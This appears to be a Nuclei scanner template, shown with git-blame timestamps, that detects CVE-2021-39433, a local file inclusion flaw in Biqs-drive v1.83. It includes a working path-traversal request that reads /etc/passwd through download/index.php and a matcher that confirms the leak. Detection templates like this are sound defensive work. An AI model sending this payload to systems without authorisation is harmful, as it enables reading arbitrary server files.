2022-01-23 15:15:30 +00:00
id : CVE-2021-39433
info :
2022-03-25 11:45:10 +00:00
name : BIQS IT Biqs-drive v1.83 Local File Inclusion
2022-01-23 15:15:30 +00:00
author : Veshraj
severity : high
2022-05-17 09:18:12 +00:00
description : A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
2022-01-23 15:15:30 +00:00
reference :
- https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
2022-05-17 09:18:12 +00:00
- https://biqs-drive.be/
2022-01-24 07:12:56 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2022-01-24 07:12:56 +00:00
cve-id : CVE-2021-39433
2023-10-14 11:27:55 +00:00
epss-score : 0.00637
2023-11-03 10:59:12 +00:00
epss-percentile : 0.76846
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : biqs
product : biqsdrive
tags : lfi,biqsdrive,cve,cve2021
2022-01-24 06:58:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-23 15:15:30 +00:00
- method : GET
path :
- "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2022-01-23 15:15:30 +00:00
- type : status
status :
- 200
2023-11-03 15:16:28 +00:00
# digest: 490a00463044022048bd9c3842bf37b60ec56ab2691ff98816f20cfb147bfeb4c3d16e6a3e1eabc402207e327a96f3d7a9c9f64ec1c82a008a24b69208def079bae481fd3ffddd8b24fa:922c64590222798bb761d5b6d8e72950
